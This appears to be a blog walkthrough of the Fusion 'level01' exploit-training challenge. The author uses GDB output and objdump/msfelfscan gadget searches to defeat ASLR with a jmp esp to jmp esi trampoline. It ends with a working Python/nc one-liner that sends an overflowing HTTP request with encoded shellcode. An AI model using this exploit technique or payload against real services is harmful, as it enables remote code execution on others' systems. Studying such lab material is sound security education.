Fusion Exploit Challenges Level 01

Some GDB Housekeeping

When I first started this challenge, I was quite thrown off. I started debugging with GDB and my level00 exploit worked perfectly as is. In fact, after closer inspection I realized that none of the addresses from level00 were different in level01. I figured this wasn’t a coincidence. After running my exploit against the code outside of GDB and it not working I guessed what was going on – GDB disables ASLR to make debugging easier. My first step was to turn it back on so I could see what was going on.

set disable-randomization off

If you have a previously running level01 which you opened with gdb at any juncture before using the disable-randomization command you’ll need to kill that instance of level and open a new one. Once GDB opens a process it seems to rebase it.

Once I did that and reexamined the crash from level00 I saw that my return address took me to non-existent memory:

(gdb) c
[New process 15084]
[Switching to process 15084]

Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x41414149
) at level01/level01.c:9
9 in level01/level01.c
(gdb) stepi
0xbffff3ec in ?? ()
(gdb) x/40x $eip
0xbffff3ec: Cannot access memory at address 0xbffff3ec

Poking Around

Our stack has indeed changed. Now we must find a way to make it to our shellcode. An examination of the stack pointer reveals the new location of our shellcode.

(gdb) x/300x $esp
0xbff0a7d0: 0xbff0a700 0x00000020 0x00000004 0x001761e4
0xbff0a7e0: 0x001761e4 0x000027d8 0x20544547 0x41414141
0xbff0a7f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a800: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a810: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a820: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a830: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a840: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a850: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a860: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0a870: 0x41414141 0xec414141 0x00bffff3 0x50545448
0xbff0a880: 0x312e312f 0x43430a0d 0x43434343 0x43434343
0xbff0a890: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8a0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8b0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8c0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8e0: 0x43434343 0x43434343 0x43434343 0x43434343

In my case the 0x43s represent where the shellcode would sit. My next step was to examine the registers. The reason being, the challenge only enabled ASLR on stack, heap, and memmap. That means that everything else should still be static. If I can find a register that contains my shellcode I could potential find a gadget which jumps to that register to get to my shellcode.

(gdb) info registers
eax 0x1 1
ecx 0xb76b78d0 -1217693488
edx 0xbff0a7d0 -1074747440
ebx 0xb782fff4 -1216151564
esp 0xbff0a7d0 0xbff0a7d0
ebp 0x41414141 0x41414141
esi 0xbff0a884 -1074747260
edi 0x8049ed1 134520529
eip 0xbffff3ec 0xbffff3ec
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Ah ha! There are several promising candidates from our lineup of registers. It looks like edx, esp, or esi could work. Additionally, we control the value of ebp so we could make use of it as well potentially. There are much fancier ways to do this, but I just used objdump to look for gadgets:

root@fusion:/opt/fusion/bin# objdump -D level01 | grep jmp

8049464: e9 3a ff ff ff jmp 80493a3 <serve_forever+0x14>
80495ff: eb 05 jmp 8049606 <is_restarted_process+0x53>
804962d: eb 44 jmp 8049673 <nread+0x66>
80496a0: eb 44 jmp 80496e6 <nwrite+0x66>
80497c9: eb 09 jmp 80497d4 <secure_srand+0xe1>
804983c: eb 15 jmp 8049853 <fix_path+0x3e>
8049a31: eb 0d jmp 8049a40 <__libc_csu_fini>
8049f0d: e9 ff ff d4 00 jmp 8d99f11 <_end+0xd4ea65>
8049f5f: ff 28 ljmp *(%eax)
8049f7f: ff ac 02 00 00 e2 f8 ljmp *-0x71e0000(%edx,%eax,1)
804a063: ff ab 00 00 00 00 ljmp *0x0(%ebx)
804a0cf: ff 6c 01 00 ljmp *0x0(%ecx,%eax,1)
804a1b7: ff ef ljmp *<internal disassembler error>
804a217: ff 25 01 00 00 00 jmp *0x1
804a25f: ff 61 00 jmp *0x0(%ecx)
804b302: ff 6f 8c ljmp *-0x74(%edi)
804b36a: ff 6f d4 ljmp *-0x2c(%edi)
804b372: ff 6f 01 ljmp *0x1(%edi)
804b37a: ff 6f 70 ljmp *0x70(%edi)
1b8f: ff 21 jmp *(%ecx)
230f: ff a5 8f 00 00 80 jmp *-0x7fffff71(%ebp)
254f: ff ee ljmp *<internal disassembler error>
27e3: ff ab 90 00 00 80 ljmp *-0x7fffff70(%ebx)

Glancing through this, none of those jmps are exactly what I’m looking for so I decided to kick up the fancy levels a bit. What about the shared libraries? Those should be loaded in static locations as well.

info sinfo sharedlibrary
From To Syms Read Shared Object Library
0xb76cebe0 0xb77db784 Yes /lib/i386-linux-gnu/libc.so.6
0xb7841830 0xb78585cf Yes (*) /lib/ld-linux.so.2
(*): Shared library is missing debugging information.

Check that out. Libc is loaded into memory. I would find it very difficult to believe that libc doesn’t have what we’re looking for. After further examining the registers ESI is easily the most promising, but there is a small problem.

x/80x $esi
0xbff0a884: 0x43430a0d 0x43434343 0x43434343 0x43434343
0xbff0a894: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8a4: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8b4: 0x43434343 0x43434343 0x43434343 0x43434343
0xbff0a8c4: 0x43434343 0x43434343 0x43434343 0x43434343

There are some garbage bits written at the beginning of the address space. So if we jump directly to ESI we’re going to immediately crash. So what we need is a jump to ESI at a short offset in. Again, given the size of libc, I’m guessing that won’t be hard to do.

objdump -D /lib/i386-linux-gnu/libc.so.6 | grep jmp | grep esi
1536cf:       ff 6e 06                ljmp   *0x6(%esi)

Indeed it was not. This should do exactly what we want. Now we need to figure out where libc was loaded:

(gdb) info proc mapping libc
process 15084
cmdline = ‘./level01’
cwd = ‘/’
exe = ‘/opt/fusion/bin/level01’
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/fusion/bin/level01
0x804b000 0x804c000 0x1000 0x2000 /opt/fusion/bin/level01
0xb76b7000 0xb76b8000 0x1000 0
0xb76b8000 0xb782e000 0x176000 0 /lib/i386-linux-gnu/libc-2.13.so
0xb782e000 0xb7830000 0x2000 0x176000 /lib/i386-linux-gnu/libc-2.13.so
0xb7830000 0xb7831000 0x1000 0x178000 /lib/i386-linux-gnu/libc-2.13.so
0xb7831000 0xb7834000 0x3000 0
0xb783e000 0xb7840000 0x2000 0
0xb7840000 0xb7841000 0x1000 0 [vdso]
0xb7841000 0xb785f000 0x1e000 0 /lib/i386-linux-gnu/ld-2.13.so
0xb785f000 0xb7860000 0x1000 0x1d000 /lib/i386-linux-gnu/ld-2.13.so
0xb7860000 0xb7861000 0x1000 0x1e000 /lib/i386-linux-gnu/ld-2.13.so
0xbfeeb000 0xbff0c000 0x21000 0 [stack]

That’s a little difficult to read, but libc was loaded at 0xb76b8000. Now I confirm our jump is indeed where I think it is:

(gdb) x/i 0xb76b8000+0x1536cf
0xb780b6cf: jmp FWORD PTR [esi+0x6]

At first I thought this would work. Unfortunately, that jumps to the address of whatever is at the pointer esi+0x6… which in our case is 43434343 for testing purposes. We just want to jump to ESI. Unfortunately, I could find no jumps to match that criteria. Unfortunately, the straight jmp esis didn’t come with an offset, but we can work with that. In fact, after looking at the instruction made by the garbage bits (which seemed to be constant), it comes out as valid and executable.

root@fusion:/opt/fusion/bin# objdump -D /lib/i386-linux-gnu/libc.so.6 | grep jmp | grep esi | grep e6 | grep -v “(”
77b63: ff e6 jmp *%esi

(gdb) x/i 0xb76b8000+0x77b63
0xb772fb63 <_wordcopy_fwd_aligned+51>: jmp esi

I went ahead and tested this and unfortunately found it still segfaults. After killing the process and reexamining the location of libc I found it had moved! It appears the location of all the libraries is still randomized. At this juncture I realized my original tactics wouldn’t work. The only module whose location doesn’t change is level01 itself.  I found a better way of doing things and used msfelfscan to check for jmps in the level01 module:

root@fusion:/opt/fusion/bin# /opt/metasploit-framework/msfelfscan -j esi,esp,eax,edx,edi,ecx level01
0x08048c1f call eax
0x08049a6b call eax
0x08049f4f jmp esp

Not many options unfortunately. On a whim though I checked out ESP:

(gdb) x/8x $esp
0xbfc653fc: 0x08049f4f 0xbfc65400 0x00000020 0x00000004
0xbfc6540c: 0x00000000 0x001761e4 0xbfc654a0 0x20544547

It looks like I may control the last two bytes of what ESP points to. For giggles, I threw in \xFF\xE6 right after my return address. FFE6 is the assembly for jmp ESI. To my surprise, it worked! I successfully jumped from ESP to ESI to the buffer I controlled!

fusion@fusion:~$ python -c ‘print “GET ” + “A”*139 + “\x4f\x9f\x04\x08” + “\xFF\xE6″ + ” HTTP/1.1\r\n” + “\x59\x53\x4f\x42\x59\x1e\x51\x5d\x0e\x60\x1e\x47\x5d\x90\x46\x92\x57\x56\x91\x47\x60\x4f\x98\x48\x5f\xd6\x5f\x48\x46\x91\x49\x58\x06\x4f\x5b\x5e\x9f\x51\x5e\x5b\x60\x4d\x93\x41\x5f\xfd\x55\xfc\x55\xfc\xdb\xca\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1\x14\xbf\x05\x58\xc6\x87\x31\x7d\x19\x03\x7d\x19\x83\xed\xfc\xe7\xad\xf7\x5c\x10\xae\xab\x21\x8d\x5b\x4e\x2f\xd0\x2c\x28\xe2\x92\x16\xeb\xae\xfa\xaa\x13\x5e\xa6\xc0\x03\x31\x06\x9c\xc5\xdb\xc0\xc6\xc8\x9c\x85\xb6\xd6\x2f\x91\x88\xb1\x82\x19\xab\x8d\x7b\xd4\xac\x7d\xda\x8c\x93\xd9\x10\xd0\xa5\xa0\x52\xb8\x1a\x7c\xd0\x50\x0d\xad\x74\xc9\xa3\x38\x9b\x59\x6f\xb2\xbd\xe9\x84\x09\xbd”‘ | nc 20001

I tested it outside of GDB and it worked like a champ!


Leave a Reply